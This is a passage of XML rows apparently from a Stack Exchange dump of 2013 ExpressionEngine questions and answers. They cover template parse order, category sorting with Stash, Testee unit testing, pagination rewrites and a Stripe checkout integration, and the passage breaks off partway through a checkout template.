  <row Id="11320" PostTypeId="2" ParentId="11316" CreationDate="2013-06-18T07:00:36.987" Score="2" Body="&lt;p&gt;This is an old topic with plenty of useful information that seems to mirror your question. Hopefully this is helpful to you: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/13213812/getting-the-trailing-slash-back-in-expressionengine-2&quot;&gt;https://stackoverflow.com/questions/13213812/getting-the-trailing-slash-back-in-expressionengine-2&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="326" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-06-18T07:00:36.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11321" PostTypeId="2" ParentId="11305" CreationDate="2013-06-18T07:06:00.757" Score="0" Body="&lt;p&gt;As has previously been stated, you're running into a classic parse order issue. If you're not already familiar with Low's Parse Order PDF, I would recommend printing it and bookmarking it. It can be really useful until you've managed to memorize the order. &lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot; rel=&quot;nofollow&quot;&gt;http://loweblog.com/downloads/ee-parse-order.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, you could create an extension to conditionally set the value (currently being set by your plugin) of a global variable. That of course would depend on your cookie name being consistent for this usage.&lt;/p&gt;&#xA;" OwnerUserId="326" LastActivityDate="2013-06-18T07:06:00.757" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11322" PostTypeId="2" ParentId="11258" CreationDate="2013-06-18T07:52:05.723" Score="1" Body="&lt;p&gt;Would it not be the case that if you turned strict URLs on then if the page didn't exist you would get the 404 page? &lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-06-18T07:52:05.723" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11323" PostTypeId="1" CreationDate="2013-06-18T10:43:24.167" Score="1" ViewCount="66" Body="&lt;p&gt;I'd be interested to know if anyone has experience working with ExpressionEngine feeding through data to a local client-side storage to run a microsite when it's offline. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could it be possible to still use Channel entries and custom fields? a starting point could be through JSON data template or cached files.&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="7705" LastEditDate="2018-08-07T17:53:20.497" LastActivityDate="2018-08-07T17:53:20.497" Title="Client-side web storage for offline fallbacks" Tags="|offline|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11324" PostTypeId="2" ParentId="10899" CreationDate="2013-06-18T11:00:33.387" Score="1" Body="&lt;p&gt;Turns outs I was right. Since each site is on a different domain name a custom add-on to do an authorized handshake is required. If the sites were on the same domain, but in different sub-domains it would work out of the box.&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2013-06-18T11:00:33.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11325" PostTypeId="1" CreationDate="2013-06-18T12:14:10.860" Score="0" ViewCount="52" Body="&lt;p&gt;My client has created a link to an entry within a Wygwam field, and we also have a link to the same entry as a Playa/relationship link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Playa/relationship link is working fine. In the Wygwam field, we see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://staging.domain.com/reference-item/auto_replace-100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I suspect I know what's going on, that something changed with this entry and the Wygwam field wasn't updated. I've looked in the Source view, and that's the value stored there as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way to correct this? Just update such links in the Wygwam field? Or is there a better way to cover this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're also using Title Master to generate URL Titles from a few different fields in the entry being referenced. An update may have broken something on that end. I'm aware of a few issues on that front that we need to work through as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(May be related to &lt;a href=&quot;https://expressionengine.stackexchange.com/q/6958/293&quot;&gt;MX Title Control + Structure&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-06-18T14:37:11.320" Title="auto_replace-### in Wygwam field" Tags="|wygwam|structure|links|title-master|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11326" PostTypeId="2" ParentId="11313" CreationDate="2013-06-18T12:27:15.580" Score="1" Body="&lt;p&gt;you could use &lt;a href=&quot;http://www.putyourlightson.net/snaptcha&quot; rel=&quot;nofollow&quot;&gt;Snaptcha's&lt;/a&gt; {exp:snaptcha:field} template tag but you would need to run the field validation yourself. there are instructions on how to do this in the &lt;a href=&quot;http://www.putyourlightson.net/snaptcha/docs#template_tags&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt; but some php knowledge is required.&lt;/p&gt;&#xA;" OwnerUserId="194" LastActivityDate="2013-06-18T12:27:15.580" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="11327" PostTypeId="2" ParentId="11307" CreationDate="2013-06-18T13:03:08.480" Score="2" Body="&lt;p&gt;I always do this with a simple plugin which runs unformatted text through EE/CodeIgniter's &lt;code&gt;format_characters()&lt;/code&gt; method (though rather than use the plugin tag in my template, I usually select it as the formatting method  for that field or Matrix column).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've &lt;a href=&quot;https://github.com/amphibian/format_characters.ee_addon&quot; rel=&quot;nofollow&quot;&gt;thrown it up on GitHub&lt;/a&gt; just now.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-06-18T13:03:08.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11328" PostTypeId="1" AcceptedAnswerId="11334" CreationDate="2013-06-18T13:29:50.097" Score="1" ViewCount="477" Body="&lt;p&gt;I am outputting a list of channel entries. Each entry has 2 category assignments but I need to sort the list alphabetically by one of the categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my current code that sorts alphabetically by entry title:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;                    channel=&quot;properties&quot;&#xA;                    orderby=&quot;title&quot;&#xA;                    sort=&quot;asc&quot;&#xA;                    dynamic=&quot;no&quot;&#xA;                    disable=&quot;category_fields|member_data|pagination&quot;&#xA;                }&#xA;                &amp;lt;tr&amp;gt;&#xA;                    &amp;lt;td&amp;gt;{title}&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td&amp;gt;{categories show_group=&quot;4&quot;}{category_name}{/categories}&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td&amp;gt;{categories show_group=&quot;5&quot;}{category_name}{/categories}&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td&amp;gt;{property_sqft}&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td&amp;gt;&amp;lt;a href=&quot;{url_title_path='our-properties/detail'}&quot; class=&quot;pluslink&quot;&amp;gt;View Property&amp;lt;/a&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;                {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I basically need to sort the entries by {category_name} of category group 5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help.&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2013-06-18T15:23:37.787" Title="sort by category" Tags="|categories|sort|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11330" PostTypeId="1" AcceptedAnswerId="11353" CreationDate="2013-06-18T14:27:41.360" Score="0" ViewCount="91" Body="&lt;p&gt;I'm, getting this error in EE Debugging:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(0.419939 / 15.94MB)        ***  CE Tweet debug: The cache file &quot;/var/www/vhosts/website.com/httpdocs/system/expressionengine/cache/ce_tweet/p_42b4b77cc4158296d158d8647a04917e&quot; does not exist.&#xA;(0.504468 / 16.21MB)        ***  CE Tweet debug: An exception occurred: 401 &quot;{&quot;errors&quot;:[{&quot;message&quot;:&quot;Invalid or expired token&quot;,&quot;code&quot;:89}]}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've checked the folder has correct permissions to write the cache file to it and it has 777 on it. It creates the CE Tweet folder if it doesn't exist, but not the cache file.&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2013-06-19T07:29:26.873" Title="CE Tweet Errors" Tags="|twitter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11331" PostTypeId="2" ParentId="11283" CreationDate="2013-06-18T14:33:09.563" Score="1" Body="&lt;p&gt;Right now, you'd need to have a placeholder page to show categories because adding random segments to Structure URLs will result in a 404. Or, you can use conditionals in one main template like you mentioned and use Freebie to allow random segments: &lt;a href=&quot;http://devot-ee.com/add-ons/freebie&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/freebie&lt;/a&gt;. Option #2 is more flexible.&lt;/p&gt;&#xA;" OwnerUserId="726" LastActivityDate="2013-06-18T14:33:09.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11332" PostTypeId="2" ParentId="11325" CreationDate="2013-06-18T14:37:11.320" Score="1" Body="&lt;p&gt;I've been having a similar issue for several months with Title Master and haven't been able to get any assistance from the developer. I eventually had to abandon using a &quot;url title&quot; that was composed of multiple components and do something a little more old fashioned.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2013-06-18T14:37:11.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11333" PostTypeId="1" AcceptedAnswerId="11349" CreationDate="2013-06-18T14:44:37.693" Score="2" ViewCount="184" Body="&lt;p&gt;Does anyone know if Assets, when used in combination with Amazon S3 to store files can create &quot;&lt;a href=&quot;http://s3.amazonaws.com/doc/s3-developer-guide/RESTAuthentication.html&quot; rel=&quot;nofollow&quot;&gt;signed URLs&lt;/a&gt;&quot; when serving up files on the front-end? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;S3 provides a time limited signed URL option for ensuring links aren't guessed or shared and would generate a URL that looks something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://s3.amazonaws.com/quotes/nelson?AWSAccessKeyId=44CF9590006BF252F707&amp;amp;Expires=1141889120&amp;amp;Signature=vjbyPxybdZaNmGa%2ByT272YEAiv4%3D&quot; rel=&quot;nofollow&quot;&gt;http://s3.amazonaws.com/quotes/nelson?AWSAccessKeyId=44CF9590006BF252F707&amp;amp;Expires=1141889120&amp;amp;Signature=vjbyPxybdZaNmGa%2ByT272YEAiv4%3D&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, then is it possible to integrate with &lt;a href=&quot;http://www.intoeetive.com/docs/protected_links.html&quot; rel=&quot;nofollow&quot;&gt;Protected Links&lt;/a&gt; so files can be uploaded via Safecracker on the front-end into an Assets field to create an entry and then later served back up on the front-end using Protected Links to provide a My Downloads area of secure links?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone successfully used that combination or know if the two would be compatible?&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-06-18T22:51:48.003" Title="Private URLs with Assets or Compatibility with Protected Links" Tags="|assets|pixelandtonic|s3|encryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11334" PostTypeId="2" ParentId="11328" CreationDate="2013-06-18T15:23:37.787" Score="0" Body="&lt;p&gt;I would think this would be a good time to use &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; add-on. You could wrap your channel entries tags with Stash set_list, which would save the properties as a Stash variable, and then output the list and orderby/sort by the category 5 field. Overall you would end up with more options for ordering and sorting your list. See the Stash docs for &lt;a href=&quot;https://github.com/croxton/Stash#expstashset_list-tag-pair&quot; rel=&quot;nofollow&quot;&gt;set_list&lt;/a&gt; and &lt;a href=&quot;https://github.com/croxton/Stash#expstashget_list-tag-pair&quot; rel=&quot;nofollow&quot;&gt;get_list&lt;/a&gt; for info and examples. Basically it would look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;my_list&quot;}&#xA;    {exp:channel:entries&#xA;        channel=&quot;properties&quot;&#xA;        orderby=&quot;title&quot;&#xA;        sort=&quot;asc&quot;&#xA;        dynamic=&quot;no&quot;&#xA;        disable=&quot;category_fields|member_data|pagination&quot;&#xA;    }&#xA;        {stash:item_title}{title}{/stash:item_title}&#xA;        {stash:item_cat_4}{categories show_group=&quot;4&quot;}{category_name}{/categories}{/stash:item_cat_4}&#xA;&#xA;        etc....&#xA;&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;&#xA;{exp:stash:get_list name=&quot;my_list&quot; orderby=&quot;item_cat_5&quot; sort=&quot;asc&quot;}&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td&amp;gt;{item_title}&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td&amp;gt;{item_cat_4}&amp;lt;/td&amp;gt;&#xA;&#xA;        etc...&#xA;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-06-18T15:23:37.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11335" PostTypeId="1" CreationDate="2013-06-18T15:23:40.610" Score="1" ViewCount="85" Body="&lt;p&gt;Ok so here's my idea. I have a site, and for example it's going to have multiple channels with relational data... So like a Cars channel and a features channel. The features will be tied to the cars with Playa. Now I'd like to create a Module that will interpret this data and do stuff with it but for sake of ease is it possible to easily grab the car data including all of it's features in a php object. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I could join everything but I was thinking there might be an easier way? Basically the the more detailed version of this is that I will be using the data to generate forms and make calculations in PHP so simply dropping them into a template won't work. I need to somehow access the data as a PHP object. I'd love to be able to drop the entry ID and pull all the data into an array or object...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if this is possible without manually Joining every field. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1678" LastActivityDate="2013-06-18T15:23:40.610" Title="Accessing Channel Entries in Module" Tags="|channel-entries|playa|module|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11337" PostTypeId="2" ParentId="10997" CreationDate="2013-06-18T17:35:40.880" Score="1" Body="&lt;p&gt;The update stalled and left a few tables in the database that needed deleted. I deleted the tables and reran the install. Working fine now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to P&amp;amp;T for all their support!&lt;/p&gt;&#xA;" OwnerUserId="278" LastActivityDate="2013-06-18T17:35:40.880" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11338" PostTypeId="1" CreationDate="2013-06-18T17:50:54.170" Score="3" ViewCount="241" Body="&lt;p&gt;I'm struggling with an issue with pagination on one of our sites...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are running a multi-language site (English &amp;amp; French). We are using the standard method of having folders at web root (ie. en, fr, etc.). We are also removing index from the URL using the approved Ellis lab way.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# rewrite rules&#xA;RewriteEngine On&#xA;&#xA;# ditch index.php&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /en/index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Lastly We are using the Focus Lab Config file (nothing out of the ordinary here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that If I have a URL (&lt;a href=&quot;http://website.com/index.php/blog&quot; rel=&quot;nofollow&quot;&gt;http://website.com/index.php/blog&lt;/a&gt;) and I click the pagination link, I'm taken to the following URL (&lt;a href=&quot;http://website.com/en/blogindex.php/P3&quot; rel=&quot;nofollow&quot;&gt;http://website.com/en/blogindex.php/P3&lt;/a&gt;). It adds index.php after the blog folder, not index as this is the template. secondly it removes index.php after the /en folder which for some reason it seems to need to work. The address that works is (&lt;a href=&quot;http://website.com/en/index.php/blog/index/P3&quot; rel=&quot;nofollow&quot;&gt;http://website.com/en/index.php/blog/index/P3&lt;/a&gt;) OR (&lt;a href=&quot;http://website.com/en/index.php/blog/P3&quot; rel=&quot;nofollow&quot;&gt;http://website.com/en/index.php/blog/P3&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have absolutely no idea how to modify this URL, it's generated from the pagination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a feeling it has something to do with the Focus Lab Multi config setup, but I wouldn't even know where to start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts? I'm completely baffled...&lt;/p&gt;&#xA;" OwnerUserId="311" LastActivityDate="2013-11-03T11:43:58.477" Title="Problem with pagination" Tags="|ee2|focus-lab-master-config|multi-language|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11339" PostTypeId="2" ParentId="6974" CreationDate="2013-06-18T18:11:40.213" Score="2" Body="&lt;p&gt;Thanks Adrian! We're in exactly the same situation in that we're working with a company who uses a local fulfillment center / warehouse with its own UPS account. So I did exactly as you describe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had to go through 3 or 4 &quot;call levels&quot; before I got to &quot;specialty products&quot; but I created a free account and successfully requested an API access key and I didn't have to use a credit card, either. Incidentally, the direct line as of 18 June 2013 for this UPS department in the US is 1 800 247 9035.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the Store settings, I added the username, password, and API access key into the UPS plugin. Is there anything else I need to do? About to begin testing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks! Keep up the work on a great software product -- Exp:resso Store is by far the best I've ever developed with.&lt;/p&gt;&#xA;" OwnerUserId="1679" LastActivityDate="2013-06-18T18:11:40.213" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11340" PostTypeId="1" CreationDate="2013-06-18T18:21:50.183" Score="0" ViewCount="169" Body="&lt;p&gt;I'm trying to have a matrix field display a fallback row if there are no results from the search parameter. The field contains some copy that changes depending on the language of the site being viewed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my current code where the low_variable is a matrix field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:pair var=&quot;lv-location&quot; search:language=&quot;={transcribe:language_abbreviation}&quot;}&#xA;    {copy}&#xA;&#xA;    {if '{total_rows}' &amp;lt; '1'}boo{/if}&#xA;{/exp:low_variables:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The if total rows condition is not returning anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately what I need is to have the copy display depending on the language currently being view ({transcribe:language_abbreviation}) but if there is no translation available then default to English which would have {transcribe:language_abbreviation} == en&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-06-18T18:21:50.183" Title="Matrix search:cell=&quot;foo&quot; - if no results then display default copy" Tags="|matrix|search|multi-language|template-scripting|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11343" PostTypeId="2" ParentId="10828" CreationDate="2013-06-18T19:17:59.720" Score="0" Body="&lt;p&gt;I think it's ok to use Testee, though the documentation for it is quite lacking and simpletest has fallen out of favor with the rise of laravel, composer and PHPUnit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been able to get it working. The skeleton for a test file would be like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;// Need to include the addon you're testing,&#xA;// but testee loads Testee_unit_test_case for you&#xA;require_once PATH_THIRD.'addon/pi.addon.php';&#xA;&#xA;class Test_addon extends Testee_unit_test_case {&#xA;&#xA;    // The following just makes it easier to &#xA;    // call the addon's methods by storing an&#xA;    // instance.&#xA;    private $_subject;&#xA;&#xA;    function setUp() {&#xA;        parent::setUp();&#xA;&#xA;        $this-&amp;gt;_subject = new Addon_class();&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After writing such a test file in the &lt;code&gt;tests&lt;/code&gt; directory of your addon, you should see it appear in the control panel in the module page for Testee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am working on figuring out how to write the tests to mock params and tagdata and the like. I'll report back if i find an answer to that.&lt;/p&gt;&#xA;" OwnerUserId="955" LastActivityDate="2013-06-18T19:17:59.720" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11344" PostTypeId="1" AcceptedAnswerId="11347" CreationDate="2013-06-18T19:22:50.963" Score="2" ViewCount="84" Body="&lt;p&gt;I've gotten as far as getting a tag to run with it's default parameters, but I have no clue on how to fake the passing of parameters and tagdata.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked the documentation for testee and munged a bit through it's own tests. I realize it is an unsupported addon as the author has moved away from ExpressionEngine, but that is why I am asking here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a working test so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function test__returns_zero_with_default_attributes() {&#xA;&#xA;    $result = $this-&amp;gt;_subject-&amp;gt;modulo();&#xA;    $this-&amp;gt;assertEqual($result, 0);&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="955" LastActivityDate="2013-06-18T20:43:26.270" Title="How do I mock parameters and tagdata when using testee?" Tags="|ee2|add-on-development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11345" PostTypeId="1" AcceptedAnswerId="15106" CreationDate="2013-06-18T20:01:06.327" Score="4" ViewCount="857" Body="&lt;p&gt;I keep getting this error even after hours of trial and error changes to the code:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Token field is required.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Perhaps my mistake will be immediately obvious to someone who knows javascript.&#xA;I did see the other question with this problem and made sure this line was included, at least in the HTML version paired with the Store javascript example. It looks like the Stripe javascript ads this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; id=&quot;payment_token&quot; name=&quot;payment[token]&quot; value=&quot;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hopefully all this code isn't overkill, but I could really use some help and didn't want to leave anything out. The Paypal Express option is working, by the way, and here is &lt;a href=&quot;https://phorus.com/dev/index.php/store/&quot; rel=&quot;nofollow&quot;&gt;the development store index page&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are two versions of Javascript in the head I have tried. First, the version from the Store documentation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;&#xA;$(document).ready(function() {&#xA;  $.getScript('https://js.stripe.com/v1/', function() {&#xA;    Stripe.setPublishableKey('pk_test_QcxvwbfdYTdR3z5vUD1Tq27k');&#xA;  });&#xA;&#xA;  /* Ensure your checkout submit button has id=&quot;checkout_submit&quot; */&#xA;  $(&quot;#checkout_submit&quot;).click(function() {&#xA;&#xA;    /* Only handle requests for Stripe gateway */&#xA;    if (this.form.elements[&quot;payment_method&quot;].value == &quot;stripe&quot;) {&#xA;&#xA;      /* Temporarily disable the checkout submit button */&#xA;      $(&quot;#checkout_submit&quot;).attr('disabled', true);&#xA;&#xA;      /* Create a Stripe card token */&#xA;      Stripe.createToken({&#xA;        name: $(&quot;#payment_name&quot;).val(),&#xA;        number: $(&quot;#payment_card_no&quot;).val(),&#xA;        cvc: $(&quot;#payment_card_csc&quot;).val(),&#xA;        exp_month: $(&quot;#payment_exp_month&quot;).val(),&#xA;        exp_year: $(&quot;#payment_exp_year&quot;).val()&#xA;      }, stripeResponseHandler);&#xA;&#xA;      /* We don't want to submit the form yet */&#xA;      return false;&#xA;    }&#xA;  });&#xA;&#xA;  /* This function is triggered once Stripe has generated the token */&#xA;  function stripeResponseHandler(status, response) {&#xA;    /* Re-enable the checkout submit button */&#xA;    $(&quot;#checkout_submit&quot;).attr('disabled', false);&#xA;&#xA;    /* Check whether we have a valid credit card */&#xA;    if (response.error) {&#xA;      alert(response.error.message);&#xA;    } else {&#xA;      /* Set the card token and submit the checkout form */&#xA;      $(&quot;#payment_token&quot;).val(response['id']);&#xA;      $(&quot;#checkout_submit&quot;).unbind(&quot;click&quot;).click();&#xA;    }&#xA;  }&#xA;});&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This version is from the Stripe documentation. It's notably different, but doesn't work either.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;!-- The required Stripe lib --&amp;gt;&#xA;  &amp;lt;script type=&quot;text/javascript&quot; src=&quot;https://js.stripe.com/v2/&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&#xA;  &amp;lt;!-- jQuery is used only for this example; it isn't required to use Stripe --&amp;gt;&#xA;  &amp;lt;script type=&quot;text/javascript&quot; src=&quot;https://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&#xA;  &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    // This identifies your website in the createToken call below&#xA;    Stripe.setPublishableKey('pk_test_QcxvwbfdYTdR3z5vUD1Tq27k');&#xA;&#xA;    var stripeResponseHandler = function(status, response) {&#xA;      var $form = $('#checkout_submit');&#xA;&#xA;      if (response.error) {&#xA;        // Show the errors on the form&#xA;        $form.find('.payment-errors').text(response.error.message);&#xA;        $form.find('button').prop('disabled', false);&#xA;      } else {&#xA;        // token contains id, last4, and card type&#xA;        var token = response.id;&#xA;        // Insert the token into the form so it gets submitted to the server&#xA;        $form.append($('&amp;lt;input type=&quot;hidden&quot; name=&quot;stripeToken&quot; /&amp;gt;').val(token));&#xA;        // and re-submit&#xA;        $form.get(0).submit();&#xA;      }&#xA;    };&#xA;&#xA;    jQuery(function($) {&#xA;      $('#checkout_submit').submit(function(e) {&#xA;        var $form = $(this);&#xA;&#xA;        // Disable the submit button to prevent repeated clicks&#xA;        $form.find('button').prop('disabled', true);&#xA;&#xA;        Stripe.createToken($form, stripeResponseHandler);&#xA;&#xA;        // Prevent the form from submitting with the default action&#xA;        return false;&#xA;      });&#xA;    });&#xA;  &amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the Checkout tag and all of its contents:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout&#xA;    form_class=&quot;form-horizontal&quot;&#xA;    return=&quot;store/order/ORDER_HASH&quot;&#xA;    error_delimiters='&amp;lt;span class=&quot;help-inline&quot;&amp;gt;|&amp;lt;/span&amp;gt;'}&#xA;&#xA;    {if no_items}&#xA;        {redirect=&quot;store_example/checkout&quot;}&#xA;    {/if}&#xA;&#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;large-10 large-centered columns&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;large-4 columns&quot;&amp;gt;&#xA;                    &amp;lt;dl&amp;gt;&#xA;                        &amp;lt;dt&amp;gt;Billing Details&amp;lt;/dt&amp;gt;&#xA;                            &amp;lt;dd&amp;gt;{billing_name}&amp;lt;/dd&amp;gt;&#xA;                            &amp;lt;dd&amp;gt;{billing_address1}&amp;lt;/dd&amp;gt;&#xA;                            &amp;lt;dd&amp;gt;{billing_address2}&amp;lt;/dd&amp;gt;&#xA;                            &amp;lt;dd&amp;gt;{billing_address3} {billing_postcode}&amp;lt;/dd&amp;gt;&#xA;                            &amp;lt;dd&amp;gt;{billing_region_name}&amp;lt;/dd&amp;gt;&#xA;                            &amp;lt;dd&amp;gt;{billing_country_name}&amp;lt;/dd&amp;gt;&#xA;                            &amp;lt;dd&amp;gt;{billing_phone}&amp;lt;/dd&amp;gt;&#xA;                            &amp;lt;dd&amp;gt;{order_email}&amp;lt;/dd&amp;gt;&#xA;                    &amp;lt;/dl&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;large-4 columns&quot;&amp;gt;&#xA;                    &amp;lt;dl&amp;gt;&#xA;                        &amp;lt;dt&amp;gt;Shipping Details&amp;lt;/dt&amp;gt;&#xA;                            {if shipping_same_as_billing}&#xA;                                Same as Billing Details&#xA;                            {if:else}&#xA;                                &amp;lt;dd&amp;gt;&amp;lt;b&amp;gt;{shipping_name}&amp;lt;/b&amp;gt;&amp;lt;/dd&amp;gt;&#xA;                                &amp;lt;dd&amp;gt;{shipping_address1}&amp;lt;/dd&amp;gt;&#xA;                                &amp;lt;dd&amp;gt;{shipping_address2}&amp;lt;/dd&amp;gt;&#xA;                                &amp;lt;dd&amp;gt;{shipping_address3} 